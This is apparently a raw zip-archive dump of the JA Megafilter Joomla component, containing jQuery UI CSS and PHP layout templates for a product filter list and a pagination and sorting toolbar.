.ui-icon-arrowstop-1-n { background-position: -192px -32px; }
.ui-icon-arrowstop-1-e { background-position: -208px -32px; }
.ui-icon-arrowstop-1-s { background-position: -224px -32px; }
.ui-icon-arrowstop-1-w { background-position: -240px -32px; }
.ui-icon-arrowthick-1-n { background-position: 1px -48px; }
.ui-icon-arrowthick-1-ne { background-position: -16px -48px; }
.ui-icon-arrowthick-1-e { background-position: -32px -48px; }
.ui-icon-arrowthick-1-se { background-position: -48px -48px; }
.ui-icon-arrowthick-1-s { background-position: -64px -48px; }
.ui-icon-arrowthick-1-sw { background-position: -80px -48px; }
.ui-icon-arrowthick-1-w { background-position: -96px -48px; }
.ui-icon-arrowthick-1-nw { background-position: -112px -48px; }
.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; }
.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; }
.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; }
.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; }
.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; }
.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; }
.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; }
.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; }
.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; }
.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; }
.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; }
.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; }
.ui-icon-arrowreturn-1-w { background-position: -64px -64px; }
.ui-icon-arrowreturn-1-n { background-position: -80px -64px; }
.ui-icon-arrowreturn-1-e { background-position: -96px -64px; }
.ui-icon-arrowreturn-1-s { background-position: -112px -64px; }
.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; }
.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; }
.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; }
.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; }
.ui-icon-arrow-4 { background-position: 0 -80px; }
.ui-icon-arrow-4-diag { background-position: -16px -80px; }
.ui-icon-extlink { background-position: -32px -80px; }
.ui-icon-newwin { background-position: -48px -80px; }
.ui-icon-refresh { background-position: -64px -80px; }
.ui-icon-shuffle { background-position: -80px -80px; }
.ui-icon-transfer-e-w { background-position: -96px -80px; }
.ui-icon-transferthick-e-w { background-position: -112px -80px; }
.ui-icon-folder-collapsed { background-position: 0 -96px; }
.ui-icon-folder-open { background-position: -16px -96px; }
.ui-icon-document { background-position: -32px -96px; }
.ui-icon-document-b { background-position: -48px -96px; }
.ui-icon-note { background-position: -64px -96px; }
.ui-icon-mail-closed { background-position: -80px -96px; }
.ui-icon-mail-open { background-position: -96px -96px; }
.ui-icon-suitcase { background-position: -112px -96px; }
.ui-icon-comment { background-position: -128px -96px; }
.ui-icon-person { background-position: -144px -96px; }
.ui-icon-print { background-position: -160px -96px; }
.ui-icon-trash { background-position: -176px -96px; }
.ui-icon-locked { background-position: -192px -96px; }
.ui-icon-unlocked { background-position: -208px -96px; }
.ui-icon-bookmark { background-position: -224px -96px; }
.ui-icon-tag { background-position: -240px -96px; }
.ui-icon-home { background-position: 0 -112px; }
.ui-icon-flag { background-position: -16px -112px; }
.ui-icon-calendar { background-position: -32px -112px; }
.ui-icon-cart { background-position: -48px -112px; }
.ui-icon-pencil { background-position: -64px -112px; }
.ui-icon-clock { background-position: -80px -112px; }
.ui-icon-disk { background-position: -96px -112px; }
.ui-icon-calculator { background-position: -112px -112px; }
.ui-icon-zoomin { background-position: -128px -112px; }
.ui-icon-zoomout { background-position: -144px -112px; }
.ui-icon-search { background-position: -160px -112px; }
.ui-icon-wrench { background-position: -176px -112px; }
.ui-icon-gear { background-position: -192px -112px; }
.ui-icon-heart { background-position: -208px -112px; }
.ui-icon-star { background-position: -224px -112px; }
.ui-icon-link { background-position: -240px -112px; }
.ui-icon-cancel { background-position: 0 -128px; }
.ui-icon-plus { background-position: -16px -128px; }
.ui-icon-plusthick { background-position: -32px -128px; }
.ui-icon-minus { background-position: -48px -128px; }
.ui-icon-minusthick { background-position: -64px -128px; }
.ui-icon-close { background-position: -80px -128px; }
.ui-icon-closethick { background-position: -96px -128px; }
.ui-icon-key { background-position: -112px -128px; }
.ui-icon-lightbulb { background-position: -128px -128px; }
.ui-icon-scissors { background-position: -144px -128px; }
.ui-icon-clipboard { background-position: -160px -128px; }
.ui-icon-copy { background-position: -176px -128px; }
.ui-icon-contact { background-position: -192px -128px; }
.ui-icon-image { background-position: -208px -128px; }
.ui-icon-video { background-position: -224px -128px; }
.ui-icon-script { background-position: -240px -128px; }
.ui-icon-alert { background-position: 0 -144px; }
.ui-icon-info { background-position: -16px -144px; }
.ui-icon-notice { background-position: -32px -144px; }
.ui-icon-help { background-position: -48px -144px; }
.ui-icon-check { background-position: -64px -144px; }
.ui-icon-bullet { background-position: -80px -144px; }
.ui-icon-radio-on { background-position: -96px -144px; }
.ui-icon-radio-off { background-position: -112px -144px; }
.ui-icon-pin-w { background-position: -128px -144px; }
.ui-icon-pin-s { background-position: -144px -144px; }
.ui-icon-play { background-position: 0 -160px; }
.ui-icon-pause { background-position: -16px -160px; }
.ui-icon-seek-next { background-position: -32px -160px; }
.ui-icon-seek-prev { background-position: -48px -160px; }
.ui-icon-seek-end { background-position: -64px -160px; }
.ui-icon-seek-start { background-position: -80px -160px; }
/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */
.ui-icon-seek-first { background-position: -80px -160px; }
.ui-icon-stop { background-position: -96px -160px; }
.ui-icon-eject { background-position: -112px -160px; }
.ui-icon-volume-off { background-position: -128px -160px; }
.ui-icon-volume-on { background-position: -144px -160px; }
.ui-icon-power { background-position: 0 -176px; }
.ui-icon-signal-diag { background-position: -16px -176px; }
.ui-icon-signal { background-position: -32px -176px; }
.ui-icon-battery-0 { background-position: -48px -176px; }
.ui-icon-battery-1 { background-position: -64px -176px; }
.ui-icon-battery-2 { background-position: -80px -176px; }
.ui-icon-battery-3 { background-position: -96px -176px; }
.ui-icon-circle-plus { background-position: 0 -192px; }
.ui-icon-circle-minus { background-position: -16px -192px; }
.ui-icon-circle-close { background-position: -32px -192px; }
.ui-icon-circle-triangle-e { background-position: -48px -192px; }
.ui-icon-circle-triangle-s { background-position: -64px -192px; }
.ui-icon-circle-triangle-w { background-position: -80px -192px; }
.ui-icon-circle-triangle-n { background-position: -96px -192px; }
.ui-icon-circle-arrow-e { background-position: -112px -192px; }
.ui-icon-circle-arrow-s { background-position: -128px -192px; }
.ui-icon-circle-arrow-w { background-position: -144px -192px; }
.ui-icon-circle-arrow-n { background-position: -160px -192px; }
.ui-icon-circle-zoomin { background-position: -176px -192px; }
.ui-icon-circle-zoomout { background-position: -192px -192px; }
.ui-icon-circle-check { background-position: -208px -192px; }
.ui-icon-circlesmall-plus { background-position: 0 -208px; }
.ui-icon-circlesmall-minus { background-position: -16px -208px; }
.ui-icon-circlesmall-close { background-position: -32px -208px; }
.ui-icon-squaresmall-plus { background-position: -48px -208px; }
.ui-icon-squaresmall-minus { background-position: -64px -208px; }
.ui-icon-squaresmall-close { background-position: -80px -208px; }
.ui-icon-grip-dotted-vertical { background-position: 0 -224px; }
.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; }
.ui-icon-grip-solid-vertical { background-position: -32px -224px; }
.ui-icon-grip-solid-horizontal { background-position: -48px -224px; }
.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
.ui-icon-grip-diagonal-se { background-position: -80px -224px;
}PK�v�[���tt#assets/css/jquery.ui.slider-rtl.cssnu�[���/*
Overrides for right-to-left sliders. */
.ui-slider-horizontal.ui-slider-rtl .ui-slider-range-min { left: auto;
right: 0; }
.ui-slider-horizontal.ui-slider-rtl .ui-slider-range-max { left: 0; right:
auto; }
.ui-slider-vertical.ui-slider-rtl .ui-slider-range-min { top: 0; bottom:
auto; }
.ui-slider-vertical.ui-slider-rtl .ui-slider-range-max { top: auto; bottom:
0;
}PK�v�[assets/css/style-rtl.cssnu�[���PK�v�["��lDlDassets/css/jquery-ui.min.cssnu�[���.ui-widget-content
a,.ui-widget-header,.ui-widget-header
a{color:#222}.ui-widget{font-family:Verdana,Arial,sans-serif;font-size:1.1em}.ui-widget
.ui-widget{font-size:1em}.ui-widget button,.ui-widget input,.ui-widget
select,.ui-widget
textarea{font-family:Verdana,Arial,sans-serif;font-size:1em}.ui-widget-content{border:1px
solid #aaa;background:url(../images/ui-bg_flat_75_ffffff_40x100.png) 50%
50% repeat-x #fff;color:#222}.ui-widget-header{border:1px solid
#aaa;background:url(../images/ui-bg_highlight-soft_75_cccccc_1x100.png) 50%
50% repeat-x #ccc;font-weight:700}.ui-state-default,.ui-widget-content
.ui-state-default,.ui-widget-header .ui-state-default{border:1px solid
#d3d3d3;background:url(../images/ui-bg_glass_75_e6e6e6_1x400.png) 50% 50%
repeat-x #e6e6e6;font-weight:400;color:#555}.ui-state-default
a,.ui-state-default a:link,.ui-state-default
a:visited{color:#555;text-decoration:none}.ui-state-focus,.ui-state-hover,.ui-widget-content
.ui-state-focus,.ui-widget-content .ui-state-hover,.ui-widget-header
.ui-state-focus,.ui-widget-header .ui-state-hover{border:1px solid
#999;background:url(../images/ui-bg_glass_75_dadada_1x400.png) 50% 50%
repeat-x
#dadada;font-weight:400;color:#212121;cursor:pointer}.ui-state-hover
a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover
a:visited{color:#212121;text-decoration:none}.ui-state-active,.ui-widget-content
.ui-state-active,.ui-widget-header .ui-state-active{border:1px solid
#aaa;background:url(../images/ui-bg_glass_65_ffffff_1x400.png) 50% 50%
repeat-x #fff;font-weight:400;color:#212121}.ui-state-active
a,.ui-state-active a:link,.ui-state-active
a:visited{color:#212121;text-decoration:none}.ui-state-highlight,.ui-widget-content
.ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid
#fcefa1;background:url(../images/ui-bg_glass_55_fbf9ee_1x400.png) 50% 50%
repeat-x #fbf9ee;color:#363636}.ui-state-highlight a,.ui-widget-content
.ui-state-highlight a,.ui-widget-header .ui-state-highlight
a{color:#363636}.ui-state-error,.ui-widget-content
.ui-state-error,.ui-widget-header .ui-state-error{border:1px solid
#cd0a0a;background:url(../images/ui-bg_glass_95_fef1ec_1x400.png) 50% 50%
repeat-x #fef1ec;color:#cd0a0a}.ui-state-error
a,.ui-state-error-text,.ui-widget-content .ui-state-error
a,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error
a,.ui-widget-header
.ui-state-error-text{color:#cd0a0a}.ui-priority-primary,.ui-widget-content
.ui-priority-primary,.ui-widget-header
.ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content
.ui-priority-secondary,.ui-widget-header
.ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:400}.ui-state-disabled,.ui-widget-content
.ui-state-disabled,.ui-widget-header
.ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled
.ui-icon{filter:Alpha(Opacity=35)}.ui-slider{position:relative;text-align:left}.ui-slider
.ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default}.ui-slider
.ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0
0}.ui-slider.ui-state-disabled
.ui-slider-handle,.ui-slider.ui-state-disabled
.ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em;margin-left:9px;margin-right:9px}.ui-slider-horizontal
.ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal
.ui-slider-range{top:0;height:100%}.ui-slider-horizontal
.ui-slider-range-min{left:0}.ui-slider-horizontal
.ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical
.ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical
.ui-slider-range{left:0;width:100%}.ui-slider-vertical
.ui-slider-range-min{bottom:0}.ui-slider-vertical
.ui-slider-range-max{top:0}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion
.ui-accordion-header{display:block;cursor:pointer;position:relative;margin-top:2px;padding:.5em
.5em .5em .7em;min-height:0}.ui-accordion
.ui-accordion-icons{padding-left:2.2em}.ui-accordion
.ui-accordion-noicons{padding-left:.7em}.ui-accordion .ui-accordion-icons
.ui-accordion-icons{padding-left:2.2em}.ui-accordion .ui-accordion-header
.ui-accordion-header-icon{position:absolute;left:.5em;top:50%;margin-top:-8px}.ui-accordion
.ui-accordion-content{padding:1em;border-top:none;overflow:auto}.ui-accordion
.ui-accordion-content ul{margin:0}.ui-datepicker{width:17em;padding:.2em
.2em 0;display:none}.ui-datepicker
.ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker
.ui-datepicker-next,.ui-datepicker
.ui-datepicker-prev{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker
.ui-datepicker-next-hover,.ui-datepicker
.ui-datepicker-prev-hover{top:1px}.ui-datepicker
.ui-datepicker-prev{left:2px}.ui-datepicker
.ui-datepicker-next{right:2px}.ui-datepicker
.ui-datepicker-prev-hover{left:1px}.ui-datepicker
.ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-next
span,.ui-datepicker .ui-datepicker-prev
span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker
.ui-datepicker-title{margin:0
2.3em;line-height:1.8em;text-align:center}.ui-datepicker
.ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker
select.ui-datepicker-month,.ui-datepicker
select.ui-datepicker-year{width:45%}.ui-datepicker
table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0
.4em}.ui-datepicker th{padding:.7em
.3em;text-align:center;font-weight:700;border:0}.ui-datepicker
td{border:0;padding:1px}.ui-datepicker td a,.ui-datepicker td
span{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker
.ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0;padding:0
.2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker
.ui-datepicker-buttonpane button{float:right;margin:.5em .2em
.4em;cursor:pointer;padding:.2em .6em
.3em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane
button.ui-datepicker-current,.ui-datepicker-multi
.ui-datepicker-group,.ui-datepicker-rtl .ui-datepicker-buttonpane
button{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi
.ui-datepicker-group table{width:95%;margin:0 auto
.4em}.ui-datepicker-multi-2
.ui-datepicker-group{width:50%}.ui-datepicker-multi-3
.ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4
.ui-datepicker-group{width:25%}.ui-datepicker-multi
.ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi
.ui-datepicker-group-middle
.ui-datepicker-header{border-left-width:0}.ui-datepicker-multi
.ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl
.ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl
.ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl
.ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl
.ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl
.ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl
.ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl
.ui-datepicker-group{float:right}.ui-datepicker-rtl
.ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl
.ui-datepicker-group-middle
.ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker
.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content
.ui-icon,.ui-widget-header
.ui-icon{background-image:url(../images/ui-icons_444444_256x240.png)}.ui-button:focus
.ui-icon,.ui-button:hover .ui-icon,.ui-state-focus .ui-icon,.ui-state-hover
.ui-icon{background-image:url(../images/ui-icons_555555_256x240.png)}.ui-button:active
.ui-icon,.ui-state-active
.ui-icon{background-image:url(../images/ui-icons_ffffff_256x240.png)}.ui-button
.ui-state-highlight.ui-icon,.ui-state-highlight
.ui-icon{background-image:url(../images/ui-icons_777620_256x240.png)}.ui-state-error
.ui-icon,.ui-state-error-text
.ui-icon{background-image:url(../images/ui-icons_cc0000_256x240.png)}.ui-button
.ui-icon{background-image:url(../images/ui-icons_777777_256x240.png)}.ui-icon-blank{background-position:16px
16px}.ui-icon-caret-1-n{background-position:0
0}.ui-icon-caret-1-ne{background-position:-16px
0}.ui-icon-caret-1-e{background-position:-32px
0}.ui-icon-caret-1-se{background-position:-48px
0}.ui-icon-caret-1-s{background-position:-65px
0}.ui-icon-caret-1-sw{background-position:-80px
0}.ui-icon-caret-1-w{background-position:-96px
0}.ui-icon-caret-1-nw{background-position:-112px
0}.ui-icon-caret-2-n-s{background-position:-128px
0}.ui-icon-caret-2-e-w{background-position:-144px
0}.ui-icon-triangle-1-n{background-position:0
-16px}.ui-icon-triangle-1-ne{background-position:-16px
-16px}.ui-icon-triangle-1-e{background-position:-32px
-16px}.ui-icon-triangle-1-se{background-position:-48px
-16px}.ui-icon-triangle-1-s{background-position:-65px
-16px}.ui-icon-triangle-1-sw{background-position:-80px
-16px}.ui-icon-triangle-1-w{background-position:-96px
-16px}.ui-icon-triangle-1-nw{background-position:-112px
-16px}.ui-icon-triangle-2-n-s{background-position:-128px
-16px}.ui-icon-triangle-2-e-w{background-position:-144px
-16px}.ui-icon-arrow-1-n{background-position:0
-32px}.ui-icon-arrow-1-ne{background-position:-16px
-32px}.ui-icon-arrow-1-e{background-position:-32px
-32px}.ui-icon-arrow-1-se{background-position:-48px
-32px}.ui-icon-arrow-1-s{background-position:-65px
-32px}.ui-icon-arrow-1-sw{background-position:-80px
-32px}.ui-icon-arrow-1-w{background-position:-96px
-32px}.ui-icon-arrow-1-nw{background-position:-112px
-32px}.ui-icon-arrow-2-n-s{background-position:-128px
-32px}.ui-icon-arrow-2-ne-sw{background-position:-144px
-32px}.ui-icon-arrow-2-e-w{background-position:-160px
-32px}.ui-icon-arrow-2-se-nw{background-position:-176px
-32px}.ui-icon-arrowstop-1-n{background-position:-192px
-32px}.ui-icon-arrowstop-1-e{background-position:-208px
-32px}.ui-icon-arrowstop-1-s{background-position:-224px
-32px}.ui-icon-arrowstop-1-w{background-position:-240px
-32px}.ui-icon-arrowthick-1-n{background-position:1px
-48px}.ui-icon-arrowthick-1-ne{background-position:-16px
-48px}.ui-icon-arrowthick-1-e{background-position:-32px
-48px}.ui-icon-arrowthick-1-se{background-position:-48px
-48px}.ui-icon-arrowthick-1-s{background-position:-64px
-48px}.ui-icon-arrowthick-1-sw{background-position:-80px
-48px}.ui-icon-arrowthick-1-w{background-position:-96px
-48px}.ui-icon-arrowthick-1-nw{background-position:-112px
-48px}.ui-icon-arrowthick-2-n-s{background-position:-128px
-48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px
-48px}.ui-icon-arrowthick-2-e-w{background-position:-160px
-48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px
-48px}.ui-icon-arrowthickstop-1-n{background-position:-192px
-48px}.ui-icon-arrowthickstop-1-e{background-position:-208px
-48px}.ui-icon-arrowthickstop-1-s{background-position:-224px
-48px}.ui-icon-arrowthickstop-1-w{background-position:-240px
-48px}.ui-icon-arrowreturnthick-1-w{background-position:0
-64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px
-64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px
-64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px
-64px}.ui-icon-arrowreturn-1-w{background-position:-64px
-64px}.ui-icon-arrowreturn-1-n{background-position:-80px
-64px}.ui-icon-arrowreturn-1-e{background-position:-96px
-64px}.ui-icon-arrowreturn-1-s{background-position:-112px
-64px}.ui-icon-arrowrefresh-1-w{background-position:-128px
-64px}.ui-icon-arrowrefresh-1-n{background-position:-144px
-64px}.ui-icon-arrowrefresh-1-e{background-position:-160px
-64px}.ui-icon-arrowrefresh-1-s{background-position:-176px
-64px}.ui-icon-arrow-4{background-position:0
-80px}.ui-icon-arrow-4-diag{background-position:-16px
-80px}.ui-icon-extlink{background-position:-32px
-80px}.ui-icon-newwin{background-position:-48px
-80px}.ui-icon-refresh{background-position:-64px
-80px}.ui-icon-shuffle{background-position:-80px
-80px}.ui-icon-transfer-e-w{background-position:-96px
-80px}.ui-icon-transferthick-e-w{background-position:-112px
-80px}.ui-icon-folder-collapsed{background-position:0
-96px}.ui-icon-folder-open{background-position:-16px
-96px}.ui-icon-document{background-position:-32px
-96px}.ui-icon-document-b{background-position:-48px
-96px}.ui-icon-note{background-position:-64px
-96px}.ui-icon-mail-closed{background-position:-80px
-96px}.ui-icon-mail-open{background-position:-96px
-96px}.ui-icon-suitcase{background-position:-112px
-96px}.ui-icon-comment{background-position:-128px
-96px}.ui-icon-person{background-position:-144px
-96px}.ui-icon-print{background-position:-160px
-96px}.ui-icon-trash{background-position:-176px
-96px}.ui-icon-locked{background-position:-192px
-96px}.ui-icon-unlocked{background-position:-208px
-96px}.ui-icon-bookmark{background-position:-224px
-96px}.ui-icon-tag{background-position:-240px
-96px}.ui-icon-home{background-position:0
-112px}.ui-icon-flag{background-position:-16px
-112px}.ui-icon-calendar{background-position:-32px
-112px}.ui-icon-cart{background-position:-48px
-112px}.ui-icon-pencil{background-position:-64px
-112px}.ui-icon-clock{background-position:-80px
-112px}.ui-icon-disk{background-position:-96px
-112px}.ui-icon-calculator{background-position:-112px
-112px}.ui-icon-zoomin{background-position:-128px
-112px}.ui-icon-zoomout{background-position:-144px
-112px}.ui-icon-search{background-position:-160px
-112px}.ui-icon-wrench{background-position:-176px
-112px}.ui-icon-gear{background-position:-192px
-112px}.ui-icon-heart{background-position:-208px
-112px}.ui-icon-star{background-position:-224px
-112px}.ui-icon-link{background-position:-240px
-112px}.ui-icon-cancel{background-position:0
-128px}.ui-icon-plus{background-position:-16px
-128px}.ui-icon-plusthick{background-position:-32px
-128px}.ui-icon-minus{background-position:-48px
-128px}.ui-icon-minusthick{background-position:-64px
-128px}.ui-icon-close{background-position:-80px
-128px}.ui-icon-closethick{background-position:-96px
-128px}.ui-icon-key{background-position:-112px
-128px}.ui-icon-lightbulb{background-position:-128px
-128px}.ui-icon-scissors{background-position:-144px
-128px}.ui-icon-clipboard{background-position:-160px
-128px}.ui-icon-copy{background-position:-176px
-128px}.ui-icon-contact{background-position:-192px
-128px}.ui-icon-image{background-position:-208px
-128px}.ui-icon-video{background-position:-224px
-128px}.ui-icon-script{background-position:-240px
-128px}.ui-icon-alert{background-position:0
-144px}.ui-icon-info{background-position:-16px
-144px}.ui-icon-notice{background-position:-32px
-144px}.ui-icon-help{background-position:-48px
-144px}.ui-icon-check{background-position:-64px
-144px}.ui-icon-bullet{background-position:-80px
-144px}.ui-icon-radio-on{background-position:-96px
-144px}.ui-icon-radio-off{background-position:-112px
-144px}.ui-icon-pin-w{background-position:-128px
-144px}.ui-icon-pin-s{background-position:-144px
-144px}.ui-icon-play{background-position:0
-160px}.ui-icon-pause{background-position:-16px
-160px}.ui-icon-seek-next{background-position:-32px
-160px}.ui-icon-seek-prev{background-position:-48px
-160px}.ui-icon-seek-end{background-position:-64px
-160px}.ui-icon-seek-first,.ui-icon-seek-start{background-position:-80px
-160px}.ui-icon-stop{background-position:-96px
-160px}.ui-icon-eject{background-position:-112px
-160px}.ui-icon-volume-off{background-position:-128px
-160px}.ui-icon-volume-on{background-position:-144px
-160px}.ui-icon-power{background-position:0
-176px}.ui-icon-signal-diag{background-position:-16px
-176px}.ui-icon-signal{background-position:-32px
-176px}.ui-icon-battery-0{background-position:-48px
-176px}.ui-icon-battery-1{background-position:-64px
-176px}.ui-icon-battery-2{background-position:-80px
-176px}.ui-icon-battery-3{background-position:-96px
-176px}.ui-icon-circle-plus{background-position:0
-192px}.ui-icon-circle-minus{background-position:-16px
-192px}.ui-icon-circle-close{background-position:-32px
-192px}.ui-icon-circle-triangle-e{background-position:-48px
-192px}.ui-icon-circle-triangle-s{background-position:-64px
-192px}.ui-icon-circle-triangle-w{background-position:-80px
-192px}.ui-icon-circle-triangle-n{background-position:-96px
-192px}.ui-icon-circle-arrow-e{background-position:-112px
-192px}.ui-icon-circle-arrow-s{background-position:-128px
-192px}.ui-icon-circle-arrow-w{background-position:-144px
-192px}.ui-icon-circle-arrow-n{background-position:-160px
-192px}.ui-icon-circle-zoomin{background-position:-176px
-192px}.ui-icon-circle-zoomout{background-position:-192px
-192px}.ui-icon-circle-check{background-position:-208px
-192px}.ui-icon-circlesmall-plus{background-position:0
-208px}.ui-icon-circlesmall-minus{background-position:-16px
-208px}.ui-icon-circlesmall-close{background-position:-32px
-208px}.ui-icon-squaresmall-plus{background-position:-48px
-208px}.ui-icon-squaresmall-minus{background-position:-64px
-208px}.ui-icon-squaresmall-close{background-position:-80px
-208px}.ui-icon-grip-dotted-vertical{background-position:0
-224px}.ui-icon-grip-dotted-horizontal{background-position:-16px
-224px}.ui-icon-grip-solid-vertical{background-position:-32px
-224px}.ui-icon-grip-solid-horizontal{background-position:-48px
-224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px
-224px}.ui-icon-grip-diagonal-se{background-position:-80px
-224px}PK�v�[�layouts/filter-list.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<div class="ja-filter-wrapper block filter
filter-wrapper">
<div class="block-content filter-content">
<div class="filter-current filter-values"></div>
<h3 role="heading" aria-level="2"
class="block-subtitle filter-subtitle"><?php echo
JText::_('COM_JAMEGAFILTER_SHOP_BY'); ?></h3>
<dl class="filter-options filter-list"
id="narrow-by-list">
</dl>
</div>
</div>PK�v�[�v*.��layouts/product-toolbar.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
{?pages}
<div class="pages pagination-wrap clearfix">
<ul aria-labelledby="paging-label" class="items
pages-items pagination">
<li class="item pages-item-first button{@if value=startPage
is=curPage} disabled{/if}">
<a title="Go to First page"
href="#page={startPage}" class="page action start"
data-action="page" data-value="{startPage}">
<span><?php echo JText::_('COM_JAMEGAFILTER_FIRST');
?></span>
</a>
</li>
<li class="item pages-item-prev{@if value=prevPage is=curPage}
disabled{/if}">
<a title="Prev" href="#page={prevPage}"
class="page action previous" data-action="page"
data-value="{prevPage}">
<span><?php echo JText::_('JPREV');
?></span>
</a>
</li>
{#pages}
<li class='item {@if value=. is=curPage} active
{/if}'>
<a class="page" href="#page={.}" title="Go
to page {.}" data-action="page"
data-value="{.}">
<span>{.}</span>
</a>
</li>
{/pages}
<li class="item pages-item-next{@if value=nextPage is=curPage}
disabled{/if}">
<a title="Next" href="#page={nextPage}"
class="page action next" data-action="page"
data-value="{nextPage}">
<span><?php echo JText::_('JNEXT');
?></span>
</a>
</li>
<li class="item pages-item-last{@if value=endPage is=curPage}
disabled{/if}">
<a title="Go to Last page" href="#page={endPage}"
class="page action last" data-action="page"
data-value="{endPage}">
<span><?php echo JText::_('COM_JAMEGAFILTER_LAST');
?></span>
</a>
</li>
</ul>
</div>
{/pages}
<div class="orderby-displaynumber clearfix">
<div id="toolbar-amount" class="counter
toolbar-amount">
<?php echo JText::_('COM_JAMEGAFILTER_ITEMS'); ?>
<span class="toolbar-number"
data-lnstate="startIdx">0</span>-<span
class="toolbar-number"
data-lnstate="endIdx">0</span> <?php echo
JText::_('COM_JAMEGAFILTER_OF'); ?> <span
class="toolbar-number"
data-lnstate="totalItems">0</span>
</div>
<div class="field limiter pull-right">
<label for="limiter" class="limiter-label">
<span><?php echo JText::_('JSHOW');
?></span>
</label>
<select class="limiter-options"
data-role="limiter" id="limiter">
{#productsPerPageAllowed}
<option{@if value=itemPerPage is=.}
selected="selected"{/if} value="{.}"
data-action="limiter"
data-value="{.}">{.}</option>
{/productsPerPageAllowed}
</select>
<span class="limiter-text"><?php echo
JText::_('COM_JAMEGAFILTER_PER_PAGE'); ?></span>
</div>
<div class="toolbar-sorter sorter pull-left">
<label for="sorter"
class="sorter-label"><?php echo
JText::_('COM_JAMEGAFILTER_SORT_BY'); ?></label>
<select class="sorter-options" data-role="sorter"
id="sorter">
{#sortByOptions}
<option{@if value=sortField is=field}
selected="selected"{/if} value="{field}"
data-action="sort"
data-value="{field}">{title}</option>
{/sortByOptions}
</select>
<a data-value="{sortDir}"
data-role="direction-switcher" class="action sorter-action
sort-{sortDir}" href="#" title="Set {sortDir}
Direction" data-action="sortdir">
<i class="fa fa-long-arrow-up"
aria-hidden="true"></i>
</a>
</div>
</div>PK�v�[�?AV33layouts/filter-selected.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
